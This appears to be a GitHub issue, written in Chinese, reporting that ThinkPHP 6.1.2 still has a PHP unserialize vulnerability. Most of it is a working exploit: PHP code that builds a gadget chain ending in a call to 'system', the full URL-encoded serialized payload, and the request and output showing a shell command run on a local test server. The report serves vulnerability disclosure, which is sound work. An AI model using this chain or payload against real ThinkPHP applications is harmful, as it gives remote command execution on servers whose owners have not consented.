6.1.2依然存在unserialize漏洞

[he426100]

• 环境
  php7.4-apache

• 构造payload

<?php

namespace think {
    abstract class Model
    {
        private $lazySave = true;
        private $data = ['a' => 'b'];
        private $exists = true;
        protected $withEvent = false;
        protected $readonly = ['a'];
        protected $relationWrite;
        private $relation;
        private $origin = [];

        public function __construct($value)
        {
            $this->relation = ['r' => $this];
            $this->origin = ["n" => $value];
            $this->relationWrite = ['r' =>
                ["n" => $value]
            ];
        }
    }

    class App
    {
        protected $request;
    }

    class Request
    {
        protected $mergeParam = true;
        protected $param = ["echo $(pwd)"];
        protected $filter = "system";
    }
}

namespace think\model {

    use think\Model;

    class Pivot extends Model
    {
    }
}

namespace think\route {

    use think\App;

    class Url
    {
        protected $url = "";
        protected $domain = "domain";
        protected $route;
        protected $app;

        public function __construct($route)
        {
            $this->route = $route;
            $this->app = new App();
        }
    }
}

namespace think\log {
    class Channel
    {
        protected $lazy = false;
        protected $logger;
        protected $log = [];

        public function __construct($logger)
        {
            $this->logger = $logger;
        }
    }
}

namespace think\session {
    class Store
    {
        protected $data;
        protected $serialize = ["call_user_func"];
        protected $id = "";

        public function __construct($data)
        {
            $this->data = [$data, "param"];
        }
    }
}

namespace {
    $request = new think\Request();         //  param
    $store = new think\session\Store($request);     // save
    $channel = new think\log\Channel($store);     // __call
    $url = new think\route\Url($channel);   // __toString
    $model = new think\model\Pivot($url);   // __destruct
    echo urlencode(serialize($model)), PHP_EOL;
}

访问 http://localhost:9000/public?payload=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A8%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A1%3A%22a%22%3Bs%3A1%3A%22b%22%3B%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00readonly%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%22a%22%3B%7Ds%3A16%3A%22%00%2A%00relationWrite%22%3Ba%3A1%3A%7Bs%3A1%3A%22r%22%3Ba%3A1%3A%7Bs%3A1%3A%22n%22%3BO%3A15%3A%22think%5Croute%5CUrl%22%3A4%3A%7Bs%3A6%3A%22%00%2A%00url%22%3Bs%3A0%3A%22%22%3Bs%3A9%3A%22%00%2A%00domain%22%3Bs%3A6%3A%22domain%22%3Bs%3A8%3A%22%00%2A%00route%22%3BO%3A17%3A%22think%5Clog%5CChannel%22%3A3%3A%7Bs%3A7%3A%22%00%2A%00lazy%22%3Bb%3A0%3Bs%3A9%3A%22%00%2A%00logger%22%3BO%3A19%3A%22think%5Csession%5CStore%22%3A3%3A%7Bs%3A7%3A%22%00%2A%00data%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A13%3A%22think%5CRequest%22%3A3%3A%7Bs%3A13%3A%22%00%2A%00mergeParam%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00param%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A11%3A%22echo+%24%28pwd%29%22%3B%7Ds%3A9%3A%22%00%2A%00filter%22%3Bs%3A6%3A%22system%22%3B%7Di%3A1%3Bs%3A5%3A%22param%22%3B%7Ds%3A12%3A%22%00%2A%00serialize%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A14%3A%22call_user_func%22%3B%7Ds%3A5%3A%22%00%2A%00id%22%3Bs%3A0%3A%22%22%3B%7Ds%3A6%3A%22%00%2A%00log%22%3Ba%3A0%3A%7B%7D%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A9%3A%22think%5CApp%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00request%22%3BN%3B%7D%7D%7D%7Ds%3A21%3A%22%00think%5CModel%00relation%22%3Ba%3A1%3A%7Bs%3A1%3A%22r%22%3Br%3A1%3B%7Ds%3A19%3A%22%00think%5CModel%00origin%22%3Ba%3A1%3A%7Bs%3A1%3A%22n%22%3Br%3A11%3B%7D%7D

返回
/var/www/html/public

[he426100]

#top-think/framework#2793